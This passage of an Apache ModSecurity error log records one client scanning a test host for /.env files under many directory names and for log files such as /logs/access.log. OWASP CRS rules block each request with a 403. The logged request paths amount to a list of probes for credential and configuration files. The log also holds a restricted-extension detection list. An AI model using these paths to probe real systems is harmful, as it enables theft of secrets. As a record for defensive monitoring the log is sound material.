&quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwAAAAAc&quot;]
[Thu Feb 26 01:03:09.122363 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwAAAAAc&quot;]
[Thu Feb 26 01:03:09.122515 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwAAAAAc&quot;]
[Thu Feb 26 01:03:09.150302 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwQAAAAc&quot;]
[Thu Feb 26 01:03:09.150560 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwQAAAAc&quot;]
[Thu Feb 26 01:03:09.150722 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwQAAAAc&quot;]
[Thu Feb 26 01:03:09.201414 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /linux/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4pgAAAAY&quot;]
[Thu Feb 26 01:03:09.201664 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4pgAAAAY&quot;]
[Thu Feb 26 01:03:09.201834 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4pgAAAAY&quot;]
[Thu Feb 26 01:03:09.244218 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwwAAAAc&quot;]
[Thu Feb 26 01:03:09.244448 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwwAAAAc&quot;]
[Thu Feb 26 01:03:09.244602 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUwwAAAAc&quot;]
[Thu Feb 26 01:03:09.260522 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /localhost/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qAAAAAY&quot;]
[Thu Feb 26 01:03:09.260759 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qAAAAAY&quot;]
[Thu Feb 26 01:03:09.260928 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qAAAAAY&quot;]
[Thu Feb 26 01:03:09.289298 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /locally/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qQAAAAY&quot;]
[Thu Feb 26 01:03:09.289552 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qQAAAAY&quot;]
[Thu Feb 26 01:03:09.289723 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qQAAAAY&quot;]
[Thu Feb 26 01:03:09.308028 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxQAAAAc&quot;]
[Thu Feb 26 01:03:09.308263 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxQAAAAc&quot;]
[Thu Feb 26 01:03:09.308428 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxQAAAAc&quot;]
[Thu Feb 26 01:03:09.329763 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxgAAAAc&quot;]
[Thu Feb 26 01:03:09.330219 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxgAAAAc&quot;]
[Thu Feb 26 01:03:09.330382 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxgAAAAc&quot;]
[Thu Feb 26 01:03:09.365123 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxwAAAAc&quot;]
[Thu Feb 26 01:03:09.365598 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxwAAAAc&quot;]
[Thu Feb 26 01:03:09.365747 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUxwAAAAc&quot;]
[Thu Feb 26 01:03:09.379650 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /log/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qwAAAAY&quot;]
[Thu Feb 26 01:03:09.379859 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qwAAAAY&quot;]
[Thu Feb 26 01:03:09.380007 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4qwAAAAY&quot;]
[Thu Feb 26 01:03:09.411853 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyAAAAAc&quot;]
[Thu Feb 26 01:03:09.412366 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyAAAAAc&quot;]
